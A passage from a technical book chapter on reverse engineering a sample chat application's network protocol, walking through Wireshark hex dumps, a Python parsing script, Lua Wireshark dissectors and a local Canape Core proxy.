Figure 5-5: Displaying the contents of a TCP session in Wireshark’s Follow TCP Stream view

Wireshark replaces data that can’t be represented as ASCII characters 
with a single dot character, but even with that character replacement, it’s 
clear that much of the data is being sent in plaintext. That said, the net-
work protocol is clearly not exclusively a text-based protocol because the 
control information for the data is nonprintable characters. The only rea-
son we’re seeing text is that SuperFunkyChat’s primary purpose is to send 
text messages.

Wireshark shows the inbound and outbound traffic in a session using 
different colors: pink for outbound traffic and blue for inbound. In a TCP 
session, outbound traffic is from the client that initiated the TCP session, and 
inbound traffic is from the TCP server. Because we’ve captured all traffic to 
the server, let’s look at another conversation. To change the conversation, 
change the Stream number  in Figure 5-5 to 1. You should now see a dif-
ferent conversation, for example, like the one in Figure 5-6.
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Figure 5-6: A second TCP session from a different client

Compare Figure 5-6 to Figure 5-5; you’ll see the details of the two ses-
sions are different. Some text sent by the client (in Figure 5-6), such as 
“How are you?”, is shown as received by the server in Figure 5-5. Next, we’ll 
try to determine what those binary parts of the protocol represent. 

Identifying Packet Structure with Hex Dump
At this point, we know that our subject protocol seems to be part binary 
and part text, which indicates that looking at just the printable text won’t 
be enough to determine all the various structures in the protocol. 

To dig in, we first return to Wireshark’s Follow TCP Stream view, as 
shown in Figure 5-5, and change the Show and save data as drop-down 
menu to the Hex Dump option. The stream should now look similar to 
Figure 5-7. 

  

Figure 5-7: The Hex Dump view of the stream
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The Hex Dump view shows three columns of information. The column 
at the very left  is the byte offset into the stream for a particular direction. 
For example, the byte at 0 is the first byte sent in that direction, the byte 4 
is the fifth, and so on. The column in the center  shows the bytes as a hex 
dump. The column at the right  is the ASCII representation, which we saw 
previously in Figure 5-5. 

Viewing Individual Packets
Notice how the blocks of bytes shown in the center column in Figure 5-7 
vary in length. Compare this again to Figure 5-6; you’ll see that other than 
being separated by direction, all data in Figure 5-6 appears as one contigu-
ous block. In contrast, the data in Figure 5-7 might appear as just a few 
blocks of 4 bytes, then a block of 1 byte, and finally a much longer block 
containing the main group of text data. 

What we’re seeing in Wireshark are individual packets: each block is a 
single TCP packet, or segment, containing perhaps only 4 bytes of data. TCP 
is a stream-based protocol, which means that there are no real boundaries 
between consecutive blocks of data when you’re reading and writing data to 
a TCP socket. However, from a physical perspective, there’s no such thing 
as a real stream-based network transport protocol. Instead, TCP sends indi-
vidual packets consisting of a TCP header containing information, such as 
the source and destination port numbers as well as the data. 

In fact, if we return to the main Wireshark window, we can find a 
packet to prove that Wireshark is displaying single TCP packets. Select 
EditFind Packet, and an additional drop-down menu appears in the 
main window, as shown Figure 5-8.

  







Figure 5-8: Finding a packet in Wireshark’s main window
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We’ll find the first value shown in Figure 5-7, the string BINX. To do this, 
fill in the Find options as shown in Figure 5-8. The first selection box indi-
cates where in the packet capture to search. Specify that you want to search 
in the Packet bytes . Leave the second selection box as Narrow & Wide, 
which indicates that you want to search for both ASCII and Unicode strings. 
Also leave the Case sensitive box unchecked and specify that you want to 
look for a String value  in the third drop-down menu. Then enter the 
string value we want to find, in this case the string BINX . Finally, click 
the Find button, and the main window should automatically scroll and 
highlight the first packet Wireshark finds that contains the BINX string . 
In the middle window at , you should see that the packet contains 4 bytes, 
and you can see the raw data in the bottom window, which shows that we’ve 
found the BINX string . We now know that the Hex Dump view Wireshark 
displays in Figure 5-8 represents packet boundaries because the BINX string 
is in a packet of its own.

Determining the Protocol Structure
To simplify determining the protocol structure, it makes sense to look 
only at one direction of the network communication. For example, let’s 
just look at the outbound direction (from client to server) in Wireshark. 
Returning to the Follow TCP Stream view, select the Hex Dump option in 
the Show and save data as drop-down menu. Then select the traffic direc-
tion from the client to the server on port 12345 from the drop-down menu 
at , as shown in Figure 5-9. 



Figure 5-9: A hex dump showing only the outbound direction

Click the Save as . . . button to copy the outbound traffic hex dump to a 
text file to make it easier to inspect. Listing 5-7 shows a small sample of that 
traffic saved as text.

00000000  42 49 4e 58                                        BINXu
00000004  00 00 00 0d                                        ....v
00000008  00 00 03 55                                        ...Uw
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0000000C  00                                                 .x
0000000D  05 61 6c 69 63 65 04 4f  4e 59 58 00               .alice.O NYX.y
00000019  00 00 00 14                                        ....
0000001D  00 00 06 3f                                        ...?
00000021  03                                                 .
00000022  05 61 6c 69 63 65 0c 48  65 6c 6c 6f 20 54 68 65   .alice.H ello The
00000032  72 65 21                                           re!
--snip--

Listing 5-7: A snippet of outbound traffic

The outbound stream begins with the four characters BINX . These 
characters are never repeated in the rest of the data stream, and if you 
compare different sessions, you’ll always find the same four characters at 
the start of the stream. If I were unfamiliar with this protocol, my intuition 
at this point would be that this is a magic value sent from the client to the 
server to tell the server that it’s talking to a valid client rather than some 
other application that happens to have connected to the server’s TCP port. 

Following the stream, we see that a sequence of four blocks is sent. The 
blocks at  and  are 4 bytes, the block at  is 1 byte, and the block at  
is larger and contains mostly readable text. Let’s consider the first block of 
4 bytes at . Might these represent a small number, say the integer value 
0xD or 13 in decimal? 

Recall the discussion of the Tag, Length, Value (TLV) pattern in 
Chapter 3. TLV is a very simple pattern in which each block of data is 
delimited by a value representing the length of the data that follows. This 
pattern is especially important for stream-based protocols, such as those 
running over TCP, because otherwise the application doesn’t know how 
much data it needs to read from a connection to process the protocol. If 
we assume that this first value is the length of the data, does this length 
match the length of the rest of the packet? Let’s find out.

Count the total bytes of the blocks at , w, x, and , which seem to 
be a single packet, and the result is 21 bytes, which is eight more than the 
value of 13 we were expecting (the integer value 0xD). The value of the 
length block might not be counting its own length. If we remove the length 
block (which is 4 bytes), the result is 17, which is 4 bytes more than the tar-
get length but getting closer. We also have the other unknown 4-byte block 
at  following the potential length, but perhaps that’s not counted either. Of 
course, it’s easy to speculate, but facts are more important, so let’s do some 
testing. 

Testing Our Assumptions
At this point in such an analysis, I stop staring at a hex dump because it’s not 
the most efficient approach. One way to quickly test whether our assumptions 
are right is to export the data for the stream and write some simple code to 
parse the structure. Later in this chapter, we’ll write some code for Wireshark 
to do all of our testing within the GUI, but for now we’ll implement the code 
using Python on the command line. 



90   Chapter 5

To get our data into Python, we could add support for reading Wireshark 
capture files, but for now we’ll just export the packet bytes to a file. To export 
the packets from the dialog shown in Figure 5-9, follow these steps: 

1.	 In the Show and save data as drop-down menu, choose the Raw option.

2.	 Click Save As to export the outbound packets to a binary file called 
bytes_outbound.bin. 

We also want to export the inbound packets, so change to and select 
the inbound conversation. Then save the raw inbound bytes using the pre-
ceding steps, but name the file bytes_inbound.bin. 

Now use the XXD tool (or a similar tool) on the command line to be 
sure that we’ve successfully dumped the data, as shown in Listing 5-8.

$ xxd bytes_outbound.bin
00000000: 4249 4e58 0000 000f 0000 0473 0003 626f  BINX.......s..bo
00000010: 6208 7573 6572 2d62 6f78 0000 0000 1200  b.user-box......
00000020: 0005 8703 0362 6f62 0c48 6f77 2061 7265  .....bob.How are
00000030: 2079 6f75 3f00 0000 1c00 0008 e303 0362   you?..........b
00000040: 6f62 1654 6869 7320 6973 206e 6963 6520  ob.This is nice
00000050: 6973 6e27 7420 6974 3f00 0000 0100 0000  isn't it?.......
00000060: 0606 0000 0013 0000 0479 0505 616c 6963  .........y..alic
00000070: 6500 0000 0303 626f 6203 576f 6f00 0000  e.....bob.Woo...
00000080: 1500 0006 8d02 1349 276d 2067 6f69 6e67  .......I'm going
00000090: 2061 7761 7920 6e6f 7721                  away now! 

Listing 5-8: The exported packet bytes

Dissecting the Protocol with Python
Now we’ll write a simple Python script to dissect the protocol. Because 
we’re just extracting data from a file, we don’t need to write any network 
code; we just need to open the file and read the data. We’ll also need to 
read binary data from the file—specifically, a network byte order integer 
for the length and unknown 4-byte block. 

Performing the Binary Conversion

We can use the built-in Python struct library to do the binary conversions. 
The script should fail immediately if something doesn’t seem right, such as 
not being able to read all the data we expect from the file. For example, if 
the length is 100 bytes and we can read only 20 bytes, the read should fail. 
If no errors occur while parsing the file, we can be more confident that our 
analysis is correct. Listing 5-9 shows the first implementation, written to 
work in both Python 2 and 3.

from struct import unpack
import sys
import os
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# Read fixed number of bytes
u def read_bytes(f, l):

    bytes = f.read(l)
 v if len(bytes) != l:
        raise Exception("Not enough bytes in stream")
    return bytes

# Unpack a 4-byte network byte order integer
w def read_int(f):

    return unpack("!i", read_bytes(f, 4))[0]

# Read a single byte
x def read_byte(f):

    return ord(read_bytes(f, 1))

filename = sys.argv[1]
file_size = os.path.getsize(filename)

f = open(filename, "rb")
y print("Magic: %s" % read_bytes(f, 4))

# Keep reading until we run out of file
z while f.tell() < file_size:

    length = read_int(f) 
    unk1 = read_int(f)
    unk2 = read_byte(f)
    data = read_bytes(f, length - 1)
    print("Len: %d, Unk1: %d, Unk2: %d, Data: %s"
        % (length, unk1, unk2, data))

Listing 5-9: An example Python script for parsing protocol data

Let’s break down the important parts of the script. First, we define some 
helper functions to read data from the file. The function read_bytes()  reads 
a fixed number of bytes from the file specified as a parameter. If not enough 
bytes are in the file to satisfy the read, an exception is thrown to indicate an 
error . We also define a function read_int()  to read a 4-byte integer from 
the file in network byte order where the most significant byte of the integer 
is first in the file, as well as define a function to read a single byte . In the 
main body of the script, we open a file passed on the command line and first 
read a 4-byte value , which we expect is the magic value BINX. Then the code 
enters a loop  while there’s still data to read, reading out the length, the 
two unknown values, and finally the data and then printing the values to the 
console.

When you run the script in Listing 5-9 and pass it the name of a binary 
file to open, all data from the file should be parsed and no errors gener-
ated if our analysis that the first 4-byte block was the length of the data sent 
on the network is correct. Listing 5-10 shows example output in Python 3, 
which does a better job of displaying binary strings than Python 2.
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$ python3 read_protocol.py bytes_outbound.bin
Magic: b'BINX'
Len: 15, Unk1: 1139, Unk2: 0, Data: b'\x03bob\x08user-box\x00'
Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow are you?'
Len: 28, Unk1: 2275, Unk2: 3, Data: b"\x03bob\x16This is nice isn't it?"
Len: 1, Unk1: 6, Unk2: 6, Data: b''
Len: 19, Unk1: 1145, Unk2: 5, Data: b'\x05alice\x00\x00\x00\x03\x03bob\x03Woo'
Len: 21, Unk1: 1677, Unk2: 2, Data: b"\x13I'm going away now!"

Listing 5-10: Example output from running Listing 5-9 against a binary file

Handling Inbound Data

If you ran Listing 5-9 against an exported inbound data set, you would 
immediately get an error because there’s no magic string BINX in the 
inbound protocol, as shown in Listing 5-11. Of course, this is what we 
would expect if there were a mistake in our analysis and the length field 
wasn’t quite as simple as we thought.

$ python3 read_protocol.py bytes_inbound.bin
Magic: b'\x00\x00\x00\x02'
Length: 1, Unknown1: 16777216, Unknown2: 0, Data: b''
Traceback (most recent call last):
  File "read_protocol.py", line 31, in <module>
    data = read_bytes(f, length - 1)
  File "read_protocol.py", line 9, in read_bytes
    raise Exception("Not enough bytes in stream")
Exception: Not enough bytes in stream

Listing 5-11: Error generated by Listing 5-9 on inbound data

We can clear up this error by modifying the script slightly to include a 
check for the magic value and reset the file pointer if it’s not equal to the 
string BINX. Add the following line just after the file is opened in the original 
script to reset the file pointer to the start if the magic value is incorrect.

if read_bytes(f, 4) != b'BINX': f.seek(0)

Now, with this small modification, the script will execute successfully 
on the inbound data and result in the output shown in Listing 5-12.

$ python3 read_protocol.py bytes_inbound.bin
Len: 2, Unk1: 1, Unk2: 1, Data: b'\x00'
Len: 36, Unk1: 3146, Unk2: 3, Data: b"\x03bob\x1eI've just joined from user-box"
Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow are you?'

Listing 5-12: Output of modified script on inbound data
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Digging into the Unknown Parts of the Protocol

We can use the output in Listing 5-10 and Listing 5-12 to start delving into 
the unknown parts of the protocol. First, consider the field labeled Unk1. 
The values it takes seem to be different for every packet, but the values are 
low, ranging from 1 to 3146. 

But the most informative parts of the output are the following two 
entries, one from the outbound data and one from the inbound.

OUTBOUND: Len: 1, Unk1: 6, Unk2: 6, Data: b''
INBOUND:  Len: 2, Unk1: 1, Unk2: 1, Data: b'\x00'

Notice that in both entries the value of Unk1 is the same as Unk2. That 
could be a coincidence, but the fact that both entries have the same value 
might indicate something important. Also notice that in the second entry 
the length is 2, which includes the Unk2 value and a 0 data value, whereas the 
length of the first entry is only 1 with no trailing data after the Unk2 value. 
Perhaps Unk1 is directly related to the data in the packet? Let’s find out. 

Calculating the Checksum

It’s common to add a checksum to a network protocol. The canonical 
example of a checksum is just the sum of all the bytes in the data you 
want to check for errors. If we assume that the unknown value is a simple 
checksum, we can sum all the bytes in the example outbound and inbound 
packets I highlighted in the preceding section, resulting in the calculated 
sum shown in Table 5-2. 

Table 5-2: Testing Checksum for Example Packets

Unknown value Data bytes Sum of data bytes

6 6 6

1 1, 0 1

Although Table 5-2 seems to confirm that the unknown value matches 
our expectation of a simple checksum for very simple packets, we still need 
to verify that the checksum works for larger and more complex packets. 
There are two easy ways to determine whether we’ve guessed correctly that 
the unknown value is a checksum over the data. One way is to send simple, 
incrementing messages from a client (like A, then B, then C, and so on), 
capture the data, and analyze it. If the checksum is a simple addition, the 
value should increment by 1 for each incrementing message. The alterna-
tive would be to add a function to calculate the checksum to see whether 
the checksum matches between what was captured on the network and our 
calculated value. 
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To test our assumptions, add the code in Listing 5-13 to the script in 
Listing 5-7 and add a call to it after reading the data to calculate the check-
sum. Then just compare the value extracted from the network capture as Unk1 
and the calculated value to see whether our calculated checksum matches.

def calc_chksum(unk2, data):
    chksum = unk2
    for i in range(len(data)):
        chksum += ord(data[i:i+1])
    return chksum

Listing 5-13: Calculating the checksum of a packet

And it does! The numbers calculated match the value of Unk1. So, we’ve 
discovered the next part of the protocol structure. 

Discovering a Tag Value

Now we need to determine what Unk2 might represent. Because the value of 
Unk2 is considered part of the packet’s data, it’s presumably related to the 
meaning of what is being sent. However, as we saw at  in Listing 5-7, the 
value of Unk2 is being written to the network as a single byte value, which 
indicates that it’s actually separate from the data. Perhaps the value rep-
resents the Tag part of a TLV pattern, just as we suspect that Length is the 
Value part of that construction.

To determine whether Unk2 is in fact the Tag value and a representation 
of how to interpret the rest of the data, we’ll exercise the ChatClient as much 
as possible, try all possible commands, and capture the results. We can then 
perform basic analysis comparing the value of Unk2 when sending the same 
type of command to see whether the value of Unk2 is always the same. 

For example, consider the client sessions in Listing 5-4, Listing 5-5, 
and Listing 5-6. In the session in Listing 5-5, we sent two messages, one 
after another. We’ve already analyzed this session using our Python script 
in Listing 5-10. For simplicity, Listing 5-14 shows only the first three cap-
ture packets (with the latest version of the script).

Unk2: 0, Data: b'\x03bob\x08user-box\x00'
Unk2: 3, Data: b'\x03bob\x0cHow are you?'
Unk2: 3, Data: b"\x03bob\x16This is nice isn't it?"
*SNIP*

Listing 5-14: The first three packets from the session represented by Listing 5-5

The first packet  doesn’t correspond to anything we typed into the 
client session in Listing 5-5. The unknown value is 0. The two messages 
we then sent in Listing 5-5 are clearly visible as text in the Data part of the 
packets at  and . The Unk2 values for both of those messages is 3, which 
is different from the first packet’s value of 0. Based on this observation, we 
can assume that the value of 3 might represent a packet that is sending a 
message, and if that’s the case, we’d expect to find a value of 3 used in every 
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connection when sending a single value. In fact, if you now analyze a differ-
ent session containing messages being sent, you’ll find the same value of 3 
used whenever a message is sent. 

N ote   	 At this stage in my analysis, I’d return to the various client sessions and try to cor-
relate the action I performed in the client with the messages sent. Also, I’d correlate 
the messages I received from the server with the client’s output. Of course, this is easy 
when there’s likely to be a one-to-one match between the command we use in the client 
and the result on the network. However, more complex protocols and applications 
might not be that obvious, so you’ll have to do a lot of correlation and testing to try 
to discover all the possible values for particular parts of the protocol. 

We can assume that Unk2 represents the Tag part of the TLV structure. 
Through further analysis, we can infer the possible Tag values, as shown in 
Table 5-3.

Table 5-3: Inferred Commands from Analysis of Captured Sessions

Command number Direction Description

0 Outbound Sent when client connects to server.

1 Inbound Sent from server after client sends command '0' 
to the server.

2 Both Sent from client when /quit command is used. 
Sent by server in response.

3 Both Sent from client with a message for all users. Sent 
from server with the message from all users.

5 Outbound Sent from client when /msg command is used.

6 Outbound Sent from client when /list command is used.

7 Inbound Sent from server in response to /list command.

N ote   	 We’ve built a table of commands but we still don’t know how the data for each of these 
commands is represented. To further analyze that data, we’ll return to Wireshark and 
develop some code to dissect the protocol and display it in the GUI. It can be difficult 
to deal with simple binary files, and although we could use a tool to parse a capture 
file exported from Wireshark, it’s best to have Wireshark handle a lot of that work.

Developing Wireshark Dissectors in Lua
It’s easy to analyze a known protocol like HTTP with Wireshark because the 
software can extract all the necessary information. But custom protocols are 
a bit more challenging: to analyze them, we’ll have to manually extract all the 
relevant information from a byte representation of the network traffic. 

Fortunately, you can use the Wireshark plug-in Protocol Dissectors to 
add additional protocol analysis to Wireshark. Doing so used to require 
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building a dissector in C to work with your particular version of Wireshark, 
but modern versions of Wireshark support the Lua scripting language. The 
scripts you write in Lua will also work with the tshark command line tool.

This section describes how to develop a simple Lua script dissector for 
the SuperFunkyChat protocol that we’ve been analyzing. 

N ote   	 Details about developing in Lua and the Wireshark APIs are beyond the scope of 
this book. For more information on how to develop in Lua, visit its official website 
at https://www.lua.org/docs.html. The Wireshark website, and especially the 
Wiki, are the best places to visit for various tutorials and example code (https://
wiki.wireshark.org/Lua/).

Before developing the dissector, make sure your copy of Wireshark 
supports Lua by checking the About Wireshark dialog at HelpAbout 
Wireshark. If you see the word Lua in the dialog, as shown in Figure 5-10, 
you should be good to go.

Figure 5-10: The Wireshark About dialog showing Lua support

N ote   	 If you run Wireshark as root on a Unix-like system, Wireshark will typically disable 
Lua support for security reasons, and you’ll need to configure Wireshark to run as a 
nonprivileged user to capture and run Lua scripts. See the Wireshark documentation 
for your operating system to find out how to do so securely.
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You can develop dissectors for almost any protocol that Wireshark will 
capture, including TCP and UDP. It’s much easier to develop dissectors for 
UDP protocols than it is for TCP, because each captured UDP packet typi-
cally has everything needed by the dissector. With TCP, you’ll need to deal 
with such problems as data that spans multiple packets (which is exactly 
why we needed to account for length block in our work on SuperFunkyChat 
using the Python script in Listing 5-9). Because UDP is easier to work with, 
we’ll focus on developing UDP dissectors. 

Conveniently enough, SuperFunkyChat supports a UDP mode by passing 
the --udp command line parameter to the client when starting. Send this 
flag while capturing, and you should see packets similar to those shown in 
Figure 5-11. (Notice that Wireshark mistakenly tries to dissect the traffic 
as an unrelated GVSP protocol, as displayed in the Protocol column . 
Implementing our own dissector will fix the mistaken protocol choice.)



Figure 5-11: Wireshark showing captured UDP traffic

One way to load Lua files is to put your scripts in the %APPDATA%\
Wireshark\plugins directory on Windows and in the ~/.config/wireshark/plugins 
directory on Linux and macOS. You can also load a Lua script by specifying 
it on the command line as follows, replacing the path information with the 
location of your script:

wireshark -X lua_script:</path/to/script.lua>

If there’s an error in your script’s syntax, you should see a message dialog 
similar to Figure 5-12. (Granted, this isn’t exactly the most efficient way to 
develop, but it’s fine as long as you’re just prototyping.)
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Figure 5-12: The Wireshark Lua error dialog

Creating the Dissector
To create a protocol dissector for the SuperFunkyChat protocol, first create 
the basic shell of the dissector and register it in Wireshark’s list of dissectors 
for UDP port 12345. Copy Listing 5-15 into a file called dissector.lua and load it 
into Wireshark along with an appropriate packet capture of the UDP traffic. 
It should run without errors.

dissector.lua		  -- Declare our chat protocol for dissection
 chat_proto = Proto("chat","SuperFunkyChat Protocol")

-- Specify protocol fields
 chat_proto.fields.chksum = ProtoField.uint32("chat.chksum", "Checksum",  
                                                base.HEX)

chat_proto.fields.command = ProtoField.uint8("chat.command", "Command")
chat_proto.fields.data = ProtoField.bytes("chat.data", "Data")

-- Dissector function
-- buffer: The UDP packet data as a "Testy Virtual Buffer"
-- pinfo: Packet information 
-- tree: Root of the UI tree

 function chat_proto.dissector(buffer, pinfo, tree)
    -- Set the name in the protocol column in the UI
  pinfo.cols.protocol = "CHAT"
    
    -- Create sub tree which represents the entire buffer.
  local subtree = tree:add(chat_proto, buffer(),
                             "SuperFunkyChat Protocol Data")
    subtree:add(chat_proto.fields.chksum, buffer(0, 4))
    subtree:add(chat_proto.fields.command, buffer(4, 1))
    subtree:add(chat_proto.fields.data, buffer(5))
end

-- Get UDP dissector table and add for port 12345
 udp_table = DissectorTable.get("udp.port")

udp_table:add(12345, chat_proto)

Listing 5-15: A basic Lua Wireshark dissector
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When the script initially loads, it creates a new instance of the Proto 
class , which represents an instance of a Wireshark protocol and assigns 
it the name chat_proto. Although you can build the dissected tree manually, 
I’ve chosen to define specific fields for the protocol at  so the fields will 
be added to the display filter engine, and you’ll be able to set a display filter 
of chat.command == 0 so Wireshark will only show packets with command 0. 
(This technique is very useful for analysis because you can filter down to 
specific packets easily and analyze them separately.)

At , the script creates a dissector() function on the instance of the 
Proto class. This dissector() will be called to dissect a packet. The function 
takes three parameters:

•	 A buffer containing the packet data that is an instance of something 
Wireshark calls a Testy Virtual Buffer (TVB). 

•	 A packet information instance that represents the display information 
for the dissection.

•	 The root tree object for the UI. You can attach subnodes to this tree to 
generate your display of the packet data.

At , we set the name of the protocol in the UI column (as shown in 
Figure 5-11) to CHAT. Next, we build a tree of the protocol elements  we’re 
dissecting. Because UDP doesn’t have an explicit length field, we don’t need 
to take that into account; we only need to extract the checksum field. We 
add to the subtree using the protocol fields and use the buffer parameter 
to create a range, which takes a start index into the buffer and an optional 
length. If no length is specified, the rest of the buffer is used. 

Then we register the protocol dissector with Wireshark’s UDP dissector 
table. (Notice that the function we defined at  hasn’t actually executed 
yet; we’ve simply defined it.) Finally, we get the UDP table and add our 
chat_proto object to the table with port 12345 . Now we’re ready to start 
the dissection. 

The Lua Dissection
Start Wireshark using the script in Listing 5-15 (for example, using the –X 
parameter) and then load a packet capture of the UDP traffic. You should 
see that the dissector has loaded and dissected the packets, as shown in 
Figure 5-13.

At , the Protocol column has changed to CHAT. This matches the first 
line of our dissector function in Listing 5-15 and makes it easier to see that 
we’re dealing with the correct protocol. At , the resulting tree shows the 
different fields of the protocol with the checksum printed in hex, as we 
specified. If you click the Data field in the tree, the corresponding range 
of bytes should be highlighted in the raw packet display at the bottom of 
the window .
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





Figure 5-13: Dissected SuperFunkyChat protocol traffic

Parsing a Message Packet
Let’s augment the dissector to parse a particular packet. We’ll use com-
mand 3 as our example because we’ve determined that it marks the send-
ing or receiving of a message. Because a received message should show the 
ID of the sender as well as the message text, this packet data should con-
tain both components; this makes it a perfect example for our purposes. 

Listing 5-16 shows a snippet from Listing 5-10 when we dumped the 
traffic using our Python script.

b'\x03bob\x0cHow are you?'
b"\x03bob\x16This is nice isn't it?"

Listing 5-16: Example message data

Listing 5-16 shows two examples of message packet data in a binary 
Python string format. The \xXX characters are actually nonprintable bytes, 
so \x05 is really the byte 0x05 and \x16 is 0x16 (or 22 in decimal). Two print-
able strings are in each packet shown in the listing: the first is a username 
(in this case bob), and the second is the message. Each string is prefixed by 
a nonprintable character. Very simple analysis (counting characters, in this 
case) indicates that the nonprintable character is the length of the string 
that follows the character. For example, with the username string, the non-
printable character represents 0x03, and the string bob is three characters 
in length.
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Let’s write a function to parse a single string from its binary representa-
tion. We’ll update Listing 5-15 to add support for parsing the message com-
mand in Listing 5-17.

dissector_with		 -- Declare our chat protocol for dissection
_commands.lua	 chat_proto = Proto("chat","SuperFunkyChat Protocol")

-- Specify protocol fields
chat_proto.fields.chksum = ProtoField.uint32("chat.chksum", "Checksum",  
                                             base.HEX)
chat_proto.fields.command = ProtoField.uint8("chat.command", "Command")
chat_proto.fields.data = ProtoField.bytes("chat.data", "Data")

-- buffer: A TVB containing packet data
-- start: The offset in the TVB to read the string from
-- returns The string and the total length used

u function read_string(buffer, start)
    local len = buffer(start, 1):uint()
    local str = buffer(start + 1, len):string()
    return str, (1 + len)
end

-- Dissector function
-- buffer: The UDP packet data as a "Testy Virtual Buffer"
-- pinfo: Packet information 
-- tree: Root of the UI tree
function chat_proto.dissector(buffer, pinfo, tree)
    -- Set the name in the protocol column in the UI
    pinfo.cols.protocol = "CHAT"
    
    -- Create sub tree which represents the entire buffer.
    local subtree = tree:add(chat_proto,
                             buffer(),
                             "SuperFunkyChat Protocol Data")
    subtree:add(chat_proto.fields.chksum, buffer(0, 4))
    subtree:add(chat_proto.fields.command, buffer(4, 1))

    -- Get a TVB for the data component of the packet.
 v local data = buffer(5):tvb()
    local datatree = subtree:add(chat_proto.fields.data, data())

    local MESSAGE_CMD = 3
 w local command = buffer(4, 1):uint()
    if command == MESSAGE_CMD then
        local curr_ofs = 0 
        local str, len = read_string(data, curr_ofs)
     x datatree:add(chat_proto, data(curr_ofs, len), "Username: " .. str)
        curr_ofs = curr_ofs + len
        str, len = read_string(data, curr_ofs)
        datatree:add(chat_proto, data(curr_ofs, len), "Message: " .. str)
    end
end
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-- Get UDP dissector table and add for port 12345
udp_table = DissectorTable.get("udp.port")
udp_table:add(12345, chat_proto)

Listing 5-17: The updated dissector script used to parse the Message command

In Listing 5-17, the added read_string() function  takes a TVB object 
(buffer) and a starting offset (start), and it returns the length of the buffer 
and then the string. 

N ote   	 What if the string is longer than the range of a byte value? Ah, that’s one of the chal-
lenges of protocol analysis. Just because something looks simple doesn’t mean it actu-
ally is simple. We’ll ignore issues such as the length because this is only meant as an 
example, and ignoring length works for any examples we’ve captured. 

With a function to parse the binary strings, we can now add the Message 
command to the dissection tree. The code begins by adding the original 
data tree and creates a new TVB object  that only contains the packet’s 
data. It then extracts the command field as an integer and checks whether 
it’s our Message command . If it’s not, we leave the existing data tree, but if 
the field matches, we proceed to parse the two strings and add them to the 
data subtree . However, instead of defining specific fields, we can add text 
nodes by specifying only the proto object rather than a field object. If you 
now reload this file into Wireshark, you should see that the username and 
message strings are parsed, as shown in Figure 5-14.





Figure 5-14: A parsed Message command
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Because the parsed data ends up as filterable values, we can select a 
Message command by specifying chat.command == 3 as a display filter, as shown 
at  in Figure 5-14. We can see that the username and message strings have 
been parsed correctly in the tree, as shown at . 

That concludes our quick introduction to writing a Lua dissector 
for Wireshark. Obviously, there is still plenty you can do with this script, 
including adding support for more commands, but you have enough for 
prototyping. 

N ote   	 Be sure to visit the Wireshark website for more on how to write parsers, including how 
to implement a TCP stream parser.

Using a Proxy to Actively Analyze Traffic
Using a tool such as Wireshark to passively capture network traffic for later 
analysis of network protocols has a number of advantages over active cap-
ture (as discussed in Chapter 2). Passive capture doesn’t affect the network 
operation of the applications you’re trying to analyze and requires no modi-
fications of the applications. On the other hand, passive capture doesn’t 
allow you to interact easily with live traffic, which means you can’t modify 
traffic easily on the fly to see how applications will respond. 

In contrast, active capture allows you to manipulate live traffic but 
requires more setup than passive capture. It may require you to modify 
applications, or at the very least to redirect application traffic through a 
proxy. Your choice of approach will depend on your specific scenario, and 
you can certainly combine passive and active capture. 

In Chapter 2, I included some example scripts to demonstrate captur-
ing traffic. You can combine these scripts with the Canape Core libraries to 
generate a number of proxies, which you might want to use instead of pas-
sive capture.

Now that you have a better understanding of passive capture, I’ll 
spend the rest of this chapter describing techniques for implementing 
a proxy for the SuperFunkyChat protocol and focus on how best to use 
active network capture.

Setting Up the Proxy
To set up the proxy, we’ll begin by modifying one of the capture examples 
in Chapter 2, specifically Listing 2-4, so we can use it for active network pro-
tocol analysis. To simplify the development process and configuration of the 
SuperFunkyChat application, we’ll use a port-forwarding proxy rather than 
something like SOCKS. 

Copy Listing 5-18 into the file chapter5_proxy.csx and run it using 
Canape Core by passing the script’s filename to the CANAPE.Cli 
executable.
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chapter5		  using static System.Console;
_proxy.csx		  using static CANAPE.Cli.ConsoleUtils;

var template = new FixedProxyTemplate();
// Local port of 4444, destination 127.0.0.1:12345

 template.LocalPort = 4444;
template.Host = "127.0.0.1";
template.Port = 12345;

var service = template.Create();
// Add an event handler to log a packet. Just print to console.

 service.LogPacketEvent += (s,e) => WritePacket(e.Packet); 
// Print to console when a connection is created or closed.

 service.NewConnectionEvent += (s,e) => 
         WriteLine("New Connection: {0}", e.Description);
service.CloseConnectionEvent += (s,e) => 
         WriteLine("Closed Connection: {0}", e.Description);
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();
service.Stop();

Listing 5-18: The active analysis proxy

At , we tell the proxy to listen locally on port 4444 and make a proxy 
connection to 127.0.0.1 port 12345. This should be fine for testing the chat 
application, but if you want to reuse the script for another application pro-
tocol, you’ll need to change the port and IP address as appropriate.

At , we make one of the major changes to the script in Chapter 2: we 
add an event handler that is called whenever a packet needs to be logged, 
which allows us to print the packet as soon it arrives. At , we add some 
event handlers to print when a new connection is created and then closed.

Next, we reconfigure the ChatClient application to communicate with 
local port 4444 instead of the original port 12345. In the case of ChatClient, 
we simply add the --port NUM parameter to the command line as shown here:

ChatClient.exe --port 4444 user1 127.0.0.1

N ote   	 Changing the destination in real-world applications may not be so simple. Review 
Chapters 2 and 4 for ideas on how to redirect an arbitrary application into your proxy. 

The client should successfully connect to the server via the proxy, and the 
proxy’s console should begin displaying packets, as shown in Listing 5-19.

CANAPE.Cli (c) 2017 James Forshaw, 2014 Context Information Security.
Created Listener (TCP 127.0.0.1:4444), Server (Fixed Proxy Server)
Press Enter to exit...
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 New Connection: 127.0.0.1:50844 <=> 127.0.0.1:12345
Tag 'Out' – Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
        : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF
--------:-------------------------------------------------------------------
00000000: 42 49 4E 58 00 00 00 0E 00 00 04 16 00 05 75 73 - BINX..........us
00000010: 65 72 31 05 62 6F 72 61 78 00                   - er1.borax.

Tag 'In' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
        : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF
--------:-------------------------------------------------------------------
00000000: 00 00 00 02 00 00 00 01 01 00                   - ..........

PM - Tag 'Out' - Network '127.0.0.1:50844 <=> 127.0.0.1:12345'
        : 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F - 0123456789ABCDEF
--------:-------------------------------------------------------------------

